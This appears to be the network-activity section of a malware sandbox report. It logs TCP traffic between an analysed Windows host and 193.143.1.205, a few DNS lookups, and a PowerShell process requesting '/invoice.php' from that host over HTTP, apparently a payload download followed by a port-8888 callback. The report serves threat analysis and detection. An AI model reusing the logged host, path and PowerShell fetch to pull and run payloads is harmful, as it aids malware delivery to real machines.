Jan 10, 2025 21:29:42.502227068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502259970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502269030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502291918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502324104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502336025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502357960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502391100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502398014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502424002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502455950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502463102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502485037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502516031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502522945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502549887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502580881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502592087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502614975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502652884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502665043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502686977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502718925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502724886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502752066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502784014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502796888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502818108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502851963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502856970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.529215097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529268026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529298067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529330969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529366016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529371977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.529371977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.529422998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.529459000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529489040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529522896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529531956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.529573917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529608011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529617071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.529643059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.529683113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.529695034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.549427986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.555927038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.555958033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556005001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.556010008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556044102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556052923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.556097984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556144953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.556149960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556197882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556231022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556240082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.556263924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556294918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556317091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.556328058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556360006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556371927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.556387901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556421995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556426048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.556453943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556482077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556494951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.556516886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.556559086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.566951036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586255074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586277962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586293936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586343050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586383104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586406946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586421967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586430073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586436033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586453915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586460114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586474895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586491108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586499929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586503983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586519003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586522102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586532116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586545944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586569071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586569071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586595058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586600065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586616039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586628914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586642981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586646080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586657047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586662054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586675882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586688995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586699963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586707115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586720943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586728096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586738110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586751938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586766005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586769104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586783886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586787939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586812019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586823940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586831093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586838961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586854935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586855888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586868048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586898088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586909056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586922884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586939096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586941957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.586977959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.586992979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587007046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587014914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587035894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587038040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587053061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587069035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587074041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587085009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587107897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587161064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587174892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587193012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587197065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587210894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587227106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587229967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587241888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587258101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587261915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587305069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587342024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587356091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587378025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587392092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587399006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587405920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587426901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587430000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587445974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587469101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587471008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587485075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587503910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587598085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587611914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587626934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587635040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587640047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587666035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587732077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587753057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587769032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587771893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587783098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587796926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587800026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587810993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587832928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587833881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587857008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587867975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587872982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587888956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587903976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587909937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587918997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587934017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587941885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.587948084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.587971926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588078022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588093042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588107109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588109970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588139057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588212013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588227034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588241100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588254929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588258982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588278055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588289976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588293076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588308096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588320971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588324070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588336945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588351965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588354111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588366985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588381052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588396072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588398933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588411093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588469028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588484049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588498116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588505983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588511944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588526964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.588546038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.588558912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.616673946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.616708040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.616749048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.616799116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.616813898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.616878033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.616893053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.616929054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.616962910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.616971016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.616997004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.617029905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.617042065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.642888069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.642910957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.642937899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.642950058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.642966032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.642981052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.642996073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643007040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.643018961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643033981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643047094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643055916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.643062115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643078089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643090963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.643094063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643107891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.643111944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643146038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643162966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643177986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643184900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.643184900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.643193960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643208027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.643250942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.643250942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673069954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673088074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673176050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673199892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673208952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673222065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673238039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673259020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673274994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673274994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673288107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673299074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673302889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673326015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673330069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673346996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673347950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673363924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673379898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673386097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673418999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673433065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673430920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673475027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673516989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673532009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673547029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673563004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673578024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673582077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673592091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673603058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673609018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673621893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673636913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.673645973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.673667908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.716742992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.901964903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.917068958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:43.188149929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:43.590604067 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:43.595696926 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:43.595788002 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:43.595969915 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:43.600791931 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:44.415513992 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:44.466660976 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:44.532654047 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:29:53.061351061 CET	55304	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:29:53.061351061 CET	192.168.2.5	1.1.1.1	0xa465	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:29:53.068546057 CET	1.1.1.1	192.168.2.5	0xa465	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:29:53.867376089 CET	1.1.1.1	192.168.2.5	0x3cac	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:29:53.867376089 CET	1.1.1.1	192.168.2.5	0x3cac	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	7124	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:29:41.169313908 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
